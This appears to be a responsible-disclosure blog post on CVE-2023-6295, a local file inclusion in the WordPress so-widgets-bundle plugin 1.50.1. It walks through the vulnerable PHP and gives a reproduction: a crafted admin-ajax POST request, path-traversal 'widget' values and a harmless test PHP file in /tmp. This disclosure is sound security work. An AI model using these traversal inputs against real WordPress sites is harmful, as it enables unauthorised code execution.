In this blog post I'll describe the details of CVE-2023-6295, a local file inclusion in WordPress' so-widgets-bundle plugin.
First of all, this vulnerability is only exploitable in multi-site WordPress installations as an subsite administrator.
The API function so_widgets_bundle_manage takes the parameter widget and eventually passes the value to include_once. However, it's exploitability requires the existence of specific folders and files.
Let's track down the vulnerability!
In so-widgets-bundle/so-widgets-bundle.php the constructor defines the API function: add_action( 'wp_ajax_so_widgets_bundle_manage', array( $this, 'admin_ajax_manage_handler' ) );. The function admin_ajax_manage_handler looks like this:
if ( ! wp_verify_nonce( $_GET['_wpnonce'], 'manage_so_widget' ) ) {
wp_die( __( 'Invalid request.', 'so-widgets-bundle' ), 403 );
}
if ( ! current_user_can( apply_filters( 'siteorigin_widgets_admin_menu_capability', 'manage_options' ) ) ) {
wp_die( __( 'Insufficient permissions.', 'so-widgets-bundle' ), 403 );
}
if ( empty( $_POST['widget'] ) ) {
wp_die( __( 'Invalid post.', 'so-widgets-bundle' ), 400 );
}
if ( ! empty( $_POST['active'] ) ) {
$this->activate_widget( $_POST['widget'] );
} else {
$this->deactivate_widget( $_POST['widget'] );
}
It first correctly verifies the nonce, checks for the manage_options permission and that the parameter widget is not empty. Then it passes the value of it to either $this->activate_widget or $this->deactivate_widget depending on the active parameter.
Both functions use similar functionality to activate or deactivate widgets:
public function activate_widget( $widget_id, $include = true ) {
$exists = false;
$widget_folders = $this->get_widget_folders();
foreach ( $widget_folders as $folder ) {
if ( ! file_exists( $folder . $widget_id . '/' . $widget_id . '.php' ) ) {
continue;
}
$exists = true;
}
if ( ! $exists ) {
return false;
}
[...]
// If we don't want to include the widget files, then our job here is done.
if ( ! $include ) {
return;
}
[...]
In the first part of the function, the for-loop iterates over all widget folders and checks for the existance of the path $folder . $widget_id . '/' . $widget_id . '.php'. The attacker controls the $widget_id (which equals the widget parameter).
A few lines later there is a check for $include parameter, but this one is luckily set to $include = true in the function's arguments.
Again, a few lines later the magic happens:
foreach ( $widget_folders as $folder ) {
if ( ! file_exists($folder . $widget_id . '/' . $widget_id . '.php' ) ) {
continue;
}
include_once $folder . $widget_id . '/' . $widget_id . '.php';
global $wp_widget_factory;
if ( has_action('widgets_init' ) || ! empty( $wp_widget_factory ) ) {
SiteOrigin_Widgets_Widget_Manager::single()->widgets_init();
}
}
This loop is similar to the previous one, except that upon an existing file, it is passed to include_once, which will interpret contained PHP code.
The only interesting thing, which is also a drawback for exploitation, is that the file path consists of $widget_id . '/' . $widget_id . '.php'. Thus, a path traversal payload, such as ../../test will be duplicated: ../../test/../../test.php.
Unfortunately, file_exists does not resolve the file path, so just using enough '../../' does not work. Except, when there is a PHP file with a equally named directory (except the .php suffix) next to it, such as in wp-admin/:
root@9255d920a415:/var/www/html# ls -l wp-admin/ | grep ' network*'
drwxr-xr-x 2 www-data www-data 4096 Nov 9 00:45 network
-rw-r--r-- 1 www-data www-data 5482 Feb 23 2023 network.php
In order to exploit this issue, first create a multi-site WordPress instance and create a new subsite with a separate non-superadmin user. Then install the vulnerable version of the plugin, i.e., using wp-cli.phar plugin install so-widgets-bundle --version=1.50.1.
Now login as the subsite administrator and navigate to the SiteOrigin menue and click activate on any widget. This should trigger a POST request with a valid nonce to the WordPress backend:
POST /site2/wp-admin/admin-ajax.php?action=so_widgets_bundle_manage&_wpnonce=f29efd46d6 HTTP/1.1
Host: localhost
Content-Length: 25
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: [Cookies]
Connection: close
widget=accordion&active=0
For testing purposes, we can also create a special tmp.php in /tmp with our exploit code:
mkdir /tmp/tmp
echo "<?php echo 'foohacked'; ?>" > /tmp/tmp.php
Chaning the widget parameter to widget=../../../../../../../../../../../../../../../../../tmp/tmp will then execute the /tmp/tmp.php file as seen below:

To load the network.php from the wp-admin/ directory, the attacker could use the following widget parameter: ../../../../../../../../../../../../../proc/self/cwd/network, but unfortunately this results in a 5xx error.
Overall, for a successful exploit, this would require the attacker to place their payload-PHP file next to a special directory. Luckily there are many directories already present in a WordPress directory, and the wp-content/uploads/ directory will create new directories for file uploads, i.e. uploads/2023/12/11/. But, without additional plugins, there is no way to move uploaded files next to an equally named directory.
- 2023.06.28 - Initial discovery
- 2023.07.03 - Report to plugin developers
- 2023.07.15 - New version released
- 2023.11.22 - Report to WPScan to assign CVE-ID
- 2023.11.24 - Vulnerability acknowledged and CVE assigned
- 2023.12.11 - Public disclosure